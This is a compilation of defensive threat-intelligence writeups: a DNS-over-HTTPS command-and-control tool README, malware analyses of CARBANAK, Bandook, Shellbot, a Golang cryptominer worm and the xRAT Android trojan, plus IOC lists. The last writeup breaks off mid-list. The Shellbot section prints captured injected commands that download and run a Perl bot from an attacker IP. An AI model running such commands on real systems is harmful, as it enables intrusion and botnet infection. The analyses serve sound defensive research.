# godoh **GitHub:** [github.com/sensepost/goDoH](https://github.com/sensepost/goDoH) **Author:** sensepost **Description:** A DNS-over-HTTPS Command & Control Proof of Concept **Twitter:** @leonjza ## Introduction godoh is a proof of concept Command and Control framework, written in Golang, that uses DNS-over-HTTPS as a transport medium. Currently supported providers include Google and Cloudflare, but it also contains the ability to use traditional DNS. ## Installation All you would need are the godoh binaries themselves. Binaries are available for download from the releases page as part of tagged releases. To build godoh from source, follow the following steps: 1. Ensure you have Go 1.13+ 2. Clone this repository with `git clone https://github.com/sensepost/goDoH.git` 3. Run `make key` to generate a unique encryption key to use for communication. Build the project with one of the following options: - `go build` which will drop you a new godoh binary for the current architecture - `make` which will drop binaries in the `build/` directory for various platforms ## Usage A DNS (over-HTTPS) C2 by @leonjza from @sensepost **Usage:** ``` godoh [flags] godoh [command] ``` ### Available Commands: - `agent` Connect as an Agent to the DoH C2 - `c2` Starts the godoh C2 server - `help` Help about any command - `receive` Receive a file via DoH - `send` Send a file via DoH - `test` Test DNS communications ### Flags: - `-d, --domain string` DNS Domain to use. (ie: example.com) - `-h, --help` help for godoh - `-p, --provider string` Preferred DNS provider to use. [possible: googlefront, google, cloudflare, quad9, raw] (default "google") - `-K, --validate-certificate` Validate DoH provider SSL certificates Use `godoh [command] --help` for more information about a command. ## License godoh is licensed under a GNU General Public v3 License. Permissions beyond the scope of this license may be available at http://sensepost.com/contact/.
# CARBANAK Week Part Four: The CARBANAK Desktop Video Player Part One, Part Two, and Part Three of CARBANAK Week are behind us. In this final blog post, we dive into one of the more interesting tools that is part of the CARBANAK toolset. The CARBANAK authors wrote their own video player, and we happened to come across an interesting video capture from CARBANAK of a network operator preparing for an offensive engagement. Can we replay it? ## About the Video Player The CARBANAK backdoor is capable of recording video of the victim’s desktop. Attackers reportedly viewed recorded desktop videos to gain an understanding of the operational workflow of employees working at targeted banks, allowing them to successfully insert fraudulent transactions that remained undetected by the banks’ verification processes. As mentioned in a previous blog post announcing the arrest of several FIN7 members, the video data file format and the player used to view the videos appeared to be custom written. The video player and the C2 server for the bots were designed to work together as a pair. The C2 server wraps video stream data received from a CARBANAK bot in a custom video file format that the video player understands and writes these video files to a location on disk based on a convention assumed by the video player. The `StreamVideo` constructor creates a new video file that will be populated with the video capture data received from a CARBANAK bot, prepending a header that includes the signature TAG, timestamp data, and the IP address of the infected host. This code is part of the C2 server project. The `LoadVideo` function that is part of the video player project validates the file type by looking for the TAG signature, then reads the timestamp values and IP address just as they were written by the C2 server code. Video files have the extension .frm. The C2 server’s `CreateStreamVideo` function formats a file path following a convention defined in the `MakeStreamFileName` function and then calls the `StreamVideo` constructor. The video player code snippet follows video file path convention, searching all video file directories for files with the extension .frm that have begin and end timestamps that fall within the range of the `DateTime` variable dt. ## An Interesting Video We came across several video files, but only some were compatible with this video player. After some analysis, it was discovered that there are at least two different versions of the video file format, one with compressed video data and the other is raw. After some slight adjustments to the video processing code, both formats are now supported, and we can play all videos. The list of commands in the video centers around persistence, screenshot creation, and launching various payloads. Red teamers often maintain such generic notes and command snippets for accomplishing various tasks like persisting, escalating, laterally moving, etc. An extreme example of this is Ben Clark’s book *RTFM*. In advance of an operation, it is customary to tailor the file names, registry value names, directories, and other parameters to afford better cover and prevent blue teams from drawing inferences based on methodology. Furthermore, Windows behavior sometimes yields surprises, such as value length limitations, unexpected interactions between payloads and specific persistence mechanisms, and so on. It is in the interest of the attacker to perform a dry run and ensure that unanticipated issues do not jeopardize the access that was gained. The person being monitored via CARBANAK in this video appears to be a network operator preparing for attack. This could either be because the operator was testing CARBANAK or because they were being monitored. The CARBANAK builder and other interfaces are never shown, and the operator is seen preparing several publicly available tools and tactics. While purely speculation, it is possible that this was an employee of the front company Combi Security, which we now know was operated by FIN7 to recruit potentially unwitting operators. Furthermore, it could be the case that FIN7 used CARBANAK’s tinymet command to spawn Meterpreter instances and give unwitting operators access to targets using publicly available tools under the false premise of a penetration test. ## Conclusion This final installment concludes our four-part series, lovingly dubbed CARBANAK Week. To recap, we have shared at length many details concerning our experience as reverse engineers who, after spending dozens of hours reverse engineering a large, complex family of malware, happened upon the source code and toolset for the malware. This is something that rarely ever happens! We hope this week’s lengthy addendum to FireEye’s continued CARBANAK research has been interesting and helpful to the broader security community in examining the functionalities of the framework and some of the design considerations that went into its development. So far we have received lots of positive feedback about our discovery of the source code and our recent exposé of the CARBANAK ecosystem. It is worth highlighting that much of what we discussed in CARBANAK Week was originally covered in FireEye’s Cyber Defense Summit 2018 presentation titled “Hello, Carbanak!”, which is freely available to watch online. You can expect similar topics and an electrifying array of other malware analysis, incident response, forensic investigation, and threat intelligence discussions at FireEye’s upcoming Cyber Defense Summit 2019, held Oct. 7 to Oct. 10, 2019, in Washington, D.C.
# Dark Caracal: You Missed a Spot By Cooper Quintin and Eva Galperin December 10, 2020 Security researchers at EFF have tracked APTs (Advanced Persistent Threats) targeting civil society for many years now. And while in many cases, the “advanced” appellation is debatable, “persistent” is not. Since 2015, EFF has tracked the cyber-mercenaries known as Dark Caracal, a threat actor who has carried out digital surveillance campaigns on behalf of government interests in Kazakhstan and Lebanon. Recent activity seems to indicate that this actor is active once again. In November of 2019, the group Malware Hunter Team discovered new samples of the Bandook malware which is associated with Dark Caracal. This time with legitimate signing certificates for Windows (issued by the “Certum” certificate authority), which would allow them to be run without a warning to the user on any Windows computer. Tipped off by the emergence of new variants of the Bandook Trojan, researchers at Checkpoint found three new variants of Bandook: some expanded (120 commands), some slimmed down (11 commands), and all signed with Certum certificates. The Checkpoint researchers also discovered several new command and control domains in use by Dark Caracal. In previous campaigns, this actor has displayed impressively lax operational security, enabling researchers to download terabytes of data from their command and control servers. The latest campaign exhibits a somewhat higher level of opsec. Checkpoint reports that targets included “Government, financial, energy, food industry, healthcare, education, IT and legal institutions” in the following countries: Singapore, Cyprus, Chile, Italy, USA, Turkey, Switzerland, Indonesia, and Germany. ## Recommended Mitigations against Dark Caracal The Dark Caracal threat actors still seem to primarily use phishing and Office-based macros as their primary method of infection. Because of this, the best step one can take to protect against Dark Caracal is to disable Office macros on your personal devices or that of your entire organization. This is additionally a good basic security hygiene practice. Standard methods to avoid phishing attacks are also good practice. Readers may also take some comfort in the fact that Bandook is currently detected by many, if not most, antivirus products. ## The Bandook Trojan One of the primary signatures of the Dark Caracal threat group is their use of the Bandook Trojan, which is described in the Checkpoint report as follows: The final payload in this infection chain is a variant of an old full-featured RAT named Bandook. Written in both Delphi and C++, Bandook has a long history, starting in 2007 as a commercially available RAT that was developed by a Lebanese individual nicknamed PrinceAli. Bandook’s execution flow starts with a loader, written in Delphi, that uses the Process Hollowing technique to create a new instance of an Internet Explorer process and inject a malicious payload into it. The payload contacts the C&C server, sends basic information about the infected machine, and waits for additional commands from the server. These findings are consistent with what EFF previously published in our Dark Caracal and Operation Manul reports. We were surprised to see the Checkpoint report when it was released on Thanksgiving as we had been tracking Dark Caracal again as well. Building on Checkpoint’s work, we are publishing additional indicators of compromise we have observed that may be of interest to other security professionals and malware researchers. ## Additional Dark Caracal Indicators of Compromise **Hashes:** - 09187675a604ffe69388014f07dde2ee0a58a9f7b060bff064ce00354fedc091 - 0c5735e066bfbc774906942e97a6ffc95f36f88b9960c4dd6555247b3dd2cdb0 - 2106e0eabc23d44bd08332cf0c34f69df36b9e84a360722a7fd4d62c325531d1 - 211f1638041aa08762a90c15b1aff699d47e4da21429c22b56f8a3103d13b496 - 27306de878f7ab58462b6b9436474e85c3935a5b285afec93f4b59a62c30dd32 - 2b54f945f5e3d226d3a09cdfcc41e311b039ceadf277310697672c8c706aa912 - 2f9ba191689e69e9a4f79b96d66c0fee9626fbd0ea11e89c0129e5d13afe6d76 - 3c8ad8264d7ce9c681c633265b531abb4cf9b64c2e1a3befadc64e66e1b5632e - 4175c7f8854e2152462058a3e2f23a9026477f9b8001923e2c59b195949070f5 - 4f2ebe6f4fc345041643d5d7045886956fe121272fa70af08498a27135a72d97 - 520ead3a863d4ea139f93bbad4d149a37ca766b38af0567f1f31a9205613b824 - 614d0bece286af47db5a9f17d24778b16e30fea10ab8d4c7f0739246b83d8366 - 6e79e2a567013cbeea1d13f3e6c883e56e66ab36de88802eb1313736c25293ec - 76f9615ce6ce6d20a9404b29649a4987a315c6b6fc703fa289da0aae37d39bce - a5b1ba27edee6953fa30771090387a5aca3e4d4541973df9b2e2b535444db5c3 - b8c1cb11108d62611ac8035701eea8bb90b55faff2d0a28c23e2dcced176a52f - c4cba54bf57b3bc3bc8f1d71a7d78fcf25eae18d1d96ba4a4fa5eb8d6fb05e08 - c852ebf981daa4d17216a569425b6128f5f7f56d746d4aa03ffecef53fb2829b - c8cbded2f6a5792c147a3362a4deb01a54a13fe9b5636367f2bb39084ed6e13a - cdf6413b56618cd641f93c2ca7fa000c486f7f2455daa3e25459e0d1e72ecf45 - d50696eec5288f29994aa68b8f38c920f388a934f23855fb516fa94223c29ecc - d6de67f2187d2fad2d88ca3561aa9f9bf3cecf2e303916df0fc892ed97d94ff5 - f08cbc1c5bca190bc34f7da3ad022d915758f5eb2c0902b13c44d50129763cf1 - f3b54507a82a17f4056baaa3cb24972a2dfa439fa9b04493db100edb191a239f - fe18568eb574d8fa6c7d9bd7d8afa60d39aae0e582aff17c5986f9bab326ec8a **Unpacked bandook sample:** - fabce973a9edff2c62ccb6fdd5b14c422bc215284f952f6b31cc2c7d98856d57 **Bandook user-agent:** - User-Agent: Mozilla/4.0 (compatible; ALI) - User-Agent: Uploador **Command and Control URLs:** - hxxp://blancomed.com/newnjususus1/post.php - hxxp://blancomed.com/newnjususus2/post.php - hxxp://blancomed.com/newnjususus4/post.php - hxxp://blancomed.com/newnjususus5/post.php - hxxp://blombic.com/OSPSPSPS2222292929nnnxnxnxnxnx/add.php - hxxp://blombic.com/uioncby281229hcbc2728hsha11kjddhwqqqqc/add.php - hxxp://www.opwalls.com/tunnel2015/add.php - hxxps://blancomed.com/newnjususus1/post.php - hxxps://blancomed.com/newnjususus2/post.php - hxxps://blancomed.com/newnjususus3/post.php - hxxps://blancomed.com/newnjususus4/post.php - hxxps://blancomed.com/newnjususus5/post.php - hxxps://pronews.icu/aqecva/ - hxxps://pronews.icu/aqecva/add.php - hxxps://pronews.icu/raxpafsd/images - hxxps://pronews.icu/phpmyadmin - hxxps://pronews.icu/cgi-bin - hxxp://wbtogm.com - /hc1/ - /hc2/ - /hc3/ - /hc4/ - /hc5/ - /hc1/images/ - /hc1/temp/ - /hc1/vk/ - /hc1/vk/19160/ - /hc1/index.php - /hc1/search.php - /hc1/view.php - /hc1/tv.php - /hc1/test.php - /hc1/log.php - /hc1/get.php - /hc1/config.php - /hc1/cm.php - /hc1/auth.php - /hc1/chrome.php - /hc1/panel.php - /hc1/validate.php - /hc1/pws.php - /hc1/vk.php - /91SD8391AC/cap.abc - /91SD8391AC/pws.abc - /91SD8391AC/extra.abc - /91SD8391AC/tv.abc - /hc4/get.php?action=check - /91SD8391AC/ammyy.abc - /91SD8391AC/89911111111012 **Command and Control Domains:** - megadeb[.]com - blancomed[.]com - opwalls[.]com - blombic[.]com - wbtogm[.]com
# ‘WCry’ Virus Reportedly Infects Russian Interior Ministry's Computer Network An unknown number of computers at the Russian Interior Ministry have been infected with a virus that is crippling computers around the world this Friday, according to the news sites Mediazona and Varlamov.ru. The virus has reportedly infected the Interior Ministry’s internal computer system, though it’s unknown how many machines are affected. Cyber experts say the Russian government’s computers have likely succumbed to the “WCry” virus (also known by the names “WannaCry” and “WannaCryptor”). This virus encrypts a computer’s files and then charges victims a fee to recover their data. On May 12, the WCry virus is believed to have infected the British National Health Service, the Spanish telecommunications company Telefonica, and the Russian company Megafon. There are more than 45,000 infected computers around the world, according to the website Intel.malwaretech.com. Most cases so far have been in Russia, Ukraine, and Taiwan. The Russian online store Svyaznoy told the website Meduza that it is working to keep its computers from being infected by the WCry virus. Representatives from phone service provider Beeline, meanwhile, told Meduza that the company successfully deflected a hacker attack on Friday.
# Perl-Based Shellbot Looks to Target Organizations via C&C We uncovered an operation of a hacking group, which we’re naming “Outlaw” (translation derived from the Romanian word haiduc, the hacking tool the group primarily uses), involving the use of an IRC bot built with the help of Perl Shellbot. The group distributes the bot by exploiting a common command injection vulnerability on internet of things (IoT) devices and Linux servers. Further research indicates that the threat can also affect Windows-based environments and even Android devices. The threat actors in this recent activity compromised an FTP (File Transfer Protocol) server of a Japanese art institution, as well as a Bangladeshi government site over a vulnerability on Dovecot mail server. They then used two compromised servers and linked them to a high availability cluster to host an IRC bouncer, which was used to command and control the emerging botnet. Aside from finding several exploit files that allowed us to understand how the initial exploit on the first server worked, we also found configuration files of the hackers’ toolset that allowed them to target organizations through DoS and SSH brute force, using so-called “class files.” Moreover, this suggests that the threat actors were building a botnet that can be used for cybercriminal purposes. The operation particularly caught our attention after various sensors of our honeypots started to capture new injected commands: | Source | Command | |-----------------|---------------------------------------------------------------------------------------------| | 107.1.153.75 | uname -a; wget hxxp://54[.]37[.]72[.]170/n3; | | | curl -O hxxp://54[.]37[.]72[.]170/n3; perl n3; rm -rf n3; rm -rf n3.* | | 195.154.43.102 | uname -a; wget ftp://museum:museum04@153[.]122[.]156[.]232/Mail/n3; rm -rf n3; rm -rf n3.* | | 218.25.74.221 | uname -a; wget hxxp://54[.]37[.]72[.]170/n3; curl -O hxxp://54[.]37[.]72[.]170/n3; perl n3; rm -rf n3; rm -rf n3.* | | 61.8.73.166 | uname -a; wget hxxp://54[.]37[.]72[.]170/n3; curl -O hxxp://54[.]37[.]72[.]170/n3; perl n3; rm -rf n3; rm -rf n3.* | | 69.64.62.159 | uname -a; cd /tmp; wget hxxp://54[.]37[.]72[.]170/n3; perl n3; rm -rf n3* | **Table 1. Commands we identified** *Note: Source – Source IP address which tried to inject the command; Command – Command as captured by the honeypot sensor utility* The botnet itself is built with a Shellbot variant with script written in Perl and even available on GitHub. The botnet was previously distributed via an exploit of the Shellshock vulnerability, hence the name “Shellbot.” This time, the threat actors mostly distribute it via previously brute-forced or compromised hosts. In order to look into the threat’s behavior, we looked into our honeypots with several hosts: - Host #1: The Ubuntu 16.04 based host with Splunk forwarder for monitoring - Host #2: The Ubuntu 16.04 server with Dovecot mail server installed - Host #3: An Android device running Android 7, one of the most popular versions and can be easily rooted We then monitored the C&C traffic and obtained the IRC channels’ information. By the first infection, around 142 hosts were present in the IRC channel. ## How it infects systems A command is first run on the IoT device or server. In this example, the command “uname -a;cd /tmp;wget hxxp://54[.]37[.]72[.]170/n3;perl n3;rm -rf n3*” verifies that the host accepts commands from the command-line interface (CLI) with “uname -a“. Once the command runs successfully, the working directory is changed to “/tmp“. The downloaded payload, n3 file (detected by Trend Micro as PERL_SHELLBOT.SM), is then consequently run with perl interpreter. In the final step of the chain, the n3 file is removed, with no trace of activity left on the attacked system. Once the bot is installed, it starts to communicate with one of the C&C servers via IRC. The C&C connection attempt occurs right after the infection and is persistent. In case of lost connectivity, it immediately reconnects once an internet connection is available. At this stage, restarting the infected machine won’t revert the changes done to the system. To understand the dynamics of the C&C communication better, we also captured the traffic of the infected hosts. Reconstructed Transmission Control Protocol (TCP) streams show in clear text the download of the malicious file and subsequent communication with the C&C servers. After the infection, the communication shows that it joined the bot’s IRC channel and assigned nickname and server configuration information. Modifying Domain Name System (DNS) settings should show and confirm that a real target is involved (not just the honeypot) and that it has visibility to the internet. It also shows the number of processor cores and the type of processor. It also discloses that the Splunk is running on the host by using the command “cat /etc/passwd/” with filtered output. This is to notify the admins that the target device is being monitored or if it has an antivirus (AV) solution installed. It is followed by PING/PONG communication (where the IRC server occasionally sends a PING message, which requires the response of a PONG message to prevent getting disconnected) to keep the communication channel open. There is a list of hardcoded process names Shellbot is assigned when run. These help hide the running bot from system admins, security monitoring, and researchers. Once the Shellbot is running on a target system, the administrator of the IRC channel can send various commands to the host. The list includes commands to perform a port scan, perform various forms of distributed denial of service (DDoS), download a file, get information about other machines, or just send the operating system (OS) information and list of certain running processes on the C&C server. ### Possible script functions an IRC command can call Some of the IRC-related functions seen to have been used were join, part, uejoin, op, deop, voice, devoice, nick, msg, quit, uaw, and die. DDoS-related activity affects User Data Protocol (UDP), TCP, and HTTP traffic. If a port scan is invoked, the bot always scans the following ports: | Ports | |-------------------------------------------------------------------------------------------| | 1, 7, 9, 14, 20, 21, 22, 23, 25, 53, 80, 88, 110, 112, 113, 137, 143, 145, 222, 333, 405, 443, 444, 445, 512, 587, 616, 666, 993, 995, 1024, 1025, 1080, 1144, 1156, 1222, 1230, 1337, 1348, 1628, 1641, 1720, 1723, 1763, 1983, 1984, 1985, 1987, 1988, 1990, 1994, 2005, 2020, 2121, 2200, 2222, 2223, 2345, 2360, 2500, 2727, 3130, 3128, 3137, 3129, 3303, 3306, 3333, 3389, 4000, 4001, 4471, 4877, 5252, 5522, 5553, 5554, 5642, 5777, 5800, 5801, 5900, 5901, 6062, 6550, 6522, 6600, 6622, 6662, 6665, 6666, 6667, 6969, 7000, 7979, 8008, 8080, 8081, 8082, 8181, 8246, 8443, 8520, 8787, 8855, 8880, 8989, 9855, 9865, 9997, 9999, 10000, 10001, 10010, 10222, 11170, 11306, 11444, 12241, 12312, 14534, 14568, 15951, 17272, 19635, 19906, 19900, 20000, 21412, 21443, 21205, 22022, 30999, 31336, 31337, 32768, 33180, 35651, 36666, 37998, 41114, 41215, 44544, 45055, 45555, 45678, 51114, 51247, 51234, 55066, 55555, 65114, 65156, 65120, 65410, 65500, 65501, 65523, 65533 | **Table 3. Ports scanned by the bot** This network communication seems to be the output of an XMR rig mining monitoring tool. The infected host always gets assigned a nickname of “sEx” along with a randomly generated integer. In this example, the host nickname is “sEx-3635”. All infected hosts also showed base C&C connection in the form of PING/PONG traffic, occasionally asked for updates, and provided some host information like suspicious crontab-like records and process identifier (PID) of the sd-pam process of the user who was running the IRC bot on the system. During the traffic monitoring, several identities such as luci, lucian, dragos, mazy, hydra, and poseidon were spotted in IRC communication channels. These identities were also found as usernames on a compromised Japanese server. This server seemed to have a certain importance as it was also used to distribute an early version of this N3-Shellbot. Using the credentials from one of the commands injected into the honeypots, we were able to get downloads of the files that the threat actors used. The files’ contents often changed on the server (some were deleted, while some were added). According to the time correlation, it mostly happened in the daytime (in Central European Time/CET): during business hours and times. The activity never happened at night or on the weekends, suggesting that the threat actors operated on a somewhat daily basis. ## Preventing compromise from malicious bot-related activities The Outlaw group here used an IRC bot, which isn’t a novel threat. The code used is available online, making it possible to build such a bot (with a fully undetectable toolset) and operate it under the radar of common network security solutions. Additionally, in this particular operation, it should be noted that the attackers looked into targeting big companies. While we haven’t seen widespread attacks from this hacking group, it is important to adopt security measures that can defend systems against any potential attacks, such as: - Setting up the SSH login process properly. Do not leave it open to public networks unless it is necessary for your infrastructure. Many devices run an SSH service by default, unnecessarily, with default credentials. This is particularly true in the case of network infrastructure devices like switches and firewalls. - Monitoring the commands used on CLI on your systems. - Monitoring non-DNS traffic coming to and from port 53. - Detecting creation of new accounts and regularly verifying that all created accounts are only used for business purposes. - Restricting the use of FTP as much as possible. Not only does it transfer passwords in clear text, but is also usually used for loading the exploit files on local systems. The same goes for the web directories. Any newly created files should be considered suspicious unless they are in an intended folder in the system. - Reconsidering the use of Dovecot mail server, as it has been found to have a buffer overflow vulnerability (and therefore unsecure). Patch it or at least monitor its file directory for unusual files. - Maintaining a mailbox, a contact person, or at least a contact form on your website for reporting any possible abuse or security compromise. Users can also consider adopting security solutions that can provide protection from malicious bot-related activities through a cross-generational blend of threat defense techniques. Trend Micro™ XGen™ security provides high-fidelity machine learning that can secure the gateway and endpoints, and protect physical, virtual, and cloud workloads. With technologies that employ web/URL filtering, behavioral analysis, and custom sandboxing, XGen security offers protection against ever-changing threats that bypass traditional controls and exploit known and unknown vulnerabilities. XGen security also powers Trend Micro’s suite of security solutions: Hybrid Cloud Security, User Protection, and Network Defense.
# Cryptominer ELFs Using MSR to Boost Mining Process Original research by Siddarth Sharma The Uptycs Threat Research Team recently observed Golang-based worms dropping cryptominer binaries that use the MSR (Model Specific Register) driver to disable hardware prefetchers and increase the speed of the mining process by 15%. The Golang-based worm targets vulnerable *nix servers, exploiting known vulnerabilities in popular web servers to spread itself and the embedded miner. New variants of the worm were identified in June 2021. Though some functionalities were similar to malware discussed by the security firm Intezer last year, the newer variants had additional activities. In this blog, we will detail the usage of MSR to disable the hardware prefetcher in cryptomining malware. We will also cover new techniques employed by attackers in the attack kill chain for persistence and dropping the worm into sensitive directories on vulnerable servers. ## Hardware Prefetcher and the MSR Hardware prefetcher is a technique where processors prefetch data based on past access behavior. The processor, using hardware prefetcher, stores instructions from the main memory into the L2 cache. However, on multicore processors, aggressive hardware prefetching can degrade overall system performance. MSR registers in processor architecture are used to toggle certain CPU features and monitor computer performance. By manipulating the MSR registers, hardware prefetchers can be disabled. A miner running with root privileges can disable the prefetcher to boost execution performance, thereby increasing the speed of the mining process. Xmrig miners in our threat intelligence systems have been seen using MSR to disable the hardware prefetcher. Xmrig miners use the RandomX algorithm, generating multiple unique programs from data selected from the dataset generated from the hash of a key block. The code to be run inside the VM is generated randomly, and the resultant hash is used as proof of work. As RandomX programs are run in a VM, this operation is generally memory intensive. Hence, the miner disables the hardware prefetcher using the MSR. According to Xmrig documentation, disabling the hardware prefetcher increases speed by up to 15%. The miner uses the `modprobe msr` command to load the msr driver. This is necessary because, in modular kernels, the msr driver is not automatically loaded. Once the msr driver is loaded, a pseudo file is created in `/dev/cpu/` (`/dev/cpu/CPUNUM/msr`). This provides an interface to read and write the model-specific registers (MSRs) of an x86 CPU. The miner accesses `/dev/cpu/CPUNUM/msr` to modify the existing value of the msr with a new value. For disabling the hardware prefetcher, the miner accesses the `/dev/CPU/CPUNUM/msr` special character file to read the old value of msr and then modifies it using the `pwrite` system call in chunks of 8 bytes. The pseudo-code of this activity is shown below. Also, the “wrmsr” set to true in the miner config for enabling MSR feature is shown below. ## Wormed Cryptominer: Attack Kill Chain 1. The attack kill chain of the wormed cryptominer starts with a shell script that downloads the Golang worm using the curl utility. 2. The worm scans and exploits existing server vulnerabilities like CVE-2020-14882 and CVE-2017-11610. 3. After accessing a vulnerable server, the worm downloads another shell script that downloads a copy of the same Golang worm. 4. The worm writes multiple copies of itself to sensitive directories like `/boot`, `/efi`, `/grub`, and later drops the Xmrig miner ELF in the `/tmp` location. 5. The miner disables the hardware prefetcher using MSR to boost the mining process. The shell script we analyzed (hash: `28e9b06e5a4606c9d806092a8ad78ce2ea7aa1077a08bcf3ec1d8e3d19714f08`) involved several defense evasive techniques like firewall altering and disabling monitoring agents. The script also used the `sed -i` command to modify the `/etc/hosts` file with the nanopool URL. The script finally downloads the first stage worm sample from `194.145.227[.]21`. ### First Stage Payload: Worm The Worm (`163ef20a1c69bcb29f436ebf1e8a8a2b6ab6887fc48bfacd843a77b7144948b9`) was compiled in Golang and UPX packed. The worm used the go-bindata package to embed the Xmrig miner inside itself. ### Vulnerabilities Exploited by the Worm After downloading in the victim system, the worm scans for vulnerable servers to exploit known web server vulnerabilities like CVE-2020-14882 and CVE-2017-11610. The scanner package used by the worm for scanning remote vulnerable servers is shown below. The majority of the worm samples exploited the following vulnerabilities: 1. **CVE-2020-14882** - A classic path traversal vulnerability used for exploiting vulnerable web logic servers. The attacker tried to bypass the authorization mechanism by changing the URL and performing a path traversal using double encoding on `/console/images`. 2. **CVE-2017-11610** - A Remote Code Execution (RCE) vulnerability in the XMLRPC interface in supervisord. The encoded payload in `<param>` used by the attacker in the XMLRPC exploit is shown below. After successful exploitation, the worm uses a base64 encoded command to download the shell script (hash: `dfbe48ade0b70bd999abaf68469438f528b0e108e767ef3a99249a4a8cfa0176`) on the remote vulnerable servers from the C2. This shell script (`ldr.sh`) downloads the worm from the C2 to deploy the Xmrig miner on the servers. ### Worm Dropping Xmrig Miner into /tmp The worm deploys the embedded Xmrig miner to the `/tmp` location on the victim server. For this action, the worm first creates a directory in `/tmp` named `u0jhm2`. After changing the permission using the `fchmod` utility, it gets executed. After execution of the miner, the miner binary (`kthreaddk`) gets removed using the `unlinkat` syscall - `unlinkat(AT_FDCWD, "/tmp/u0jhm2/kthreaddk", 0)`. The worm also writes copies of itself to sensitive directories like `/boot`, `/boot/grub`, `/boot/efi`, and `/X11`. ### Persistence After writing itself to sensitive directories, the worm registers itself into the crontabs and uses `fchmod` to change permissions of the cron registered file, `tmp.6GnMiL`, which later gets renamed as `root`. Our threat intelligence systems identified seven similar samples of the Golang-based wormed cryptominer. Though the functionality and working of the binaries were the same, some of the worm samples register different paths like `/dev/dri/by-path/<file_name>`, `/boot/<file_name>` in crontab. ## Uptycs EDR Detections Uptycs EDR armed with YARA process scanning detected the Xmrig cryptominer and the MSR modification with a threat score of 10/10. Additionally, Uptycs EDR contextual detection provides additional details about the detected malware. Users can navigate to the toolkit data section in the detection alert to find out the behavior and working of Xmrig. ## Conclusion With the rise and high valuation of Bitcoin and several other cryptocurrencies, cryptomining-based attacks have continued to dominate the threat landscape. Wormed cryptominer attacks have a greater threshold as they write multiple copies and spread across endpoints in a corporate network. Alongside the mining process, modification of the MSR registers can lead to fatal performance issues of corporate resources. The Uptycs EDR solution offers the added benefit of taking a deep dive into the logged events, providing more insights into an attack. ### Indicators of Compromise (IOCs) - **C2**: `194[.]145.227.21:5443` - **Shell script**: - `28e9b06e5a4606c9d806092a8ad78ce2ea7aa1077a08bcf3ec1d8e3d19714f08` - `dfbe48ade0b70bd999abaf68469438f528b0e108e767ef3a99249a4a8cfa0176` - **Worm**: - `41dbb7871093a6be9acc7327bc7a7757df2f157912ff5649b01390307283bb53` - `163ef20a1c69bcb29f436ebf1e8a8a2b6ab6887fc48bfacd843a77b7144948b9` - `de263e5ad81bb5e2be7d57c7e201fe172108d987562a98897736d8c9235661a2` - `67bb4acf52cc57f62f84161e068e254dba6b4058c04a5d707c057492bd208659` - `b22e47e11ff7aefc271bff1cbd2c904d8c4208f494208357a949242f6926dfc9` - `1b2909eda77c14b559b06a68a794868989b7e38c9ca185a3180c63e5c38622b5` - `f17b64733fa1ba60dda283bd4f6e6ce74fc921028e95c4c1a2079be39084085e` - `0d3b0dc5ea6643d36d745fcaa177eba88200b2b16596111e140f59092070594f` - **Miner**: - `ba518af59262e878d31c71020ebfcbd50dfadf1e7c47a340003c80284681794b`
# XRAT Malware Tied to "Xsser/MRAT" Surveillance Lookout researchers have identified a mobile trojan called xRAT with extensive data collection functionality and the ability to remotely run a suicide function to avoid detection. The malware is associated with the high-profile Xsser/mRAT malware, which made headlines after targeting both iOS and Android devices of pro-democracy Hong Kong activists in late 2014. Lookout continues to regularly acquire new Android-variant samples of mRAT from multiple sources, and we have seen detections that show it has been live on Android devices in recent months. The frequency with which these samples are being deployed in the wild suggests that this family is still under continual development and actively used in various campaigns. Lookout identified xRAT due to a combination of suspicious capabilities it uses, such as dynamically loading additional code, executing native libraries, using specific ciphers, and accessing sensitive user information. Samples from both mRAT and xRAT families have an almost identical code structure, make use of the same decryption key, share certain heuristics and naming conventions, and interestingly contain anti-debugging techniques that cause a frequently-used malware researcher tool, the dex2jar decompiler, to crash. These many similarities strongly suggest that mRAT and xRAT have been developed by the same threat actor. The command and control servers for xRAT are also linked to Windows malware, indicating that the malicious actors behind this threat are conducting multi-platform attacks against the PCs and mobile devices of targeted groups. ## What it does The discovery of xRAT and continued improvements to both xRAT and mRAT clearly demonstrate that threat actors are capable of deploying sophisticated tools to retrieve intelligence from mobile endpoints. Like mRAT, xRAT supports an impressive set of capabilities that include flexible reconnaissance and information gathering, detection evasion, specific checks for antivirus, app and file deletion functionality, and other functionality listed below. It also searches for data belonging to popular communications apps like QQ and WeChat. The threat actors themselves are able to remotely control much of its functionality in real time (e.g., which files to retrieve and what the settings of its automatic file retrieval module should be). Listed below are the types of data gathered by xRAT and features that enable it to perform reconnaissance, run remote code, and exfiltrate data from Android devices: - Browser history - Device metadata (such as model, manufacturer, SIM number, and device ID) - Text messages - Contacts - Call logs - Data from QQ and WeChat - Wifi access points a device has connected to and the associated passwords - Email database and any email account username/passwords - Device geolocation - Installed apps, identifying both user and system applications - SIM Card information - Provide a remote attacker with a shell - Download attacker specified files and save them to specified locations - Delete attacker specified files or recursively delete specified directories - Enable airplane mode - List all files and directories on external storage - List the contents of attacker specified directories - Automatically retrieve files that are of an attacker specified type that are between a minimum and maximum size - Search external storage for a file with a specific MD5 hash and, if identified, retrieve it - Upload attacker specified files to C2 infrastructure - Make a call out to an attacker specified number - Record audio and write it directly to an already established command and control network socket - Executes attacker specified command as the root user - Instructs an infected device to repeatedly download, and then delete, large files - exhausting a user's mobile data. ## xRAT runs a suicide function to avoid detection xRAT also contains suicide functionality. When triggered, xRAT will clean out its installation directory before issuing a package manager command to uninstall itself. The developers behind xRAT created an alert system, flagging to the malware operator if any of the following antivirus applications are present on a compromised device: - 管家 (housekeeper) - 安全 (safety) - 权限 (Authority) - 卫士 (Guardian) - 清理 (Cleanup) - 杀毒 (Antivirus) - Defender - Security Our analysis found xRAT contains a robust file deletion module, capable of removing large portions of a device or attacker-specified files. xRAT can be remotely instructed to perform the following deletion operations: - Remove images from certain directories on the SDCard - Remove audio files from certain directories on the SDCard - Wipe a device, removing large portions; including all files from the SDCard, all apps and data that exists under the path /data/data/, and all system apps installed under the path /system/app/. - Remove specific input method editors (IME). This includes: - com.htc.android.htcime - HTC_IME.apk - com.samsung.inputmethod - SamsungChineseIME.apk - com.tencent.qqpinyin - com.sohu.inputmethod.sogou - com.iflytek.inputmethod - com.google.android.inputmethod.pinyin - com.tencent.qqpinyin-1.apk - com.sohu.inputmethod.sogou-1.apk - com.google.android.inputmethod.pinyin-1.app - com.iflytek.inputmethod-1.apk - and other generic instances of IME apps. - Removes messaging applications from a compromised device. This includes: - com.tencent.mm - im.yixin - com.tencent.mobileqq - com.whatsapp - and 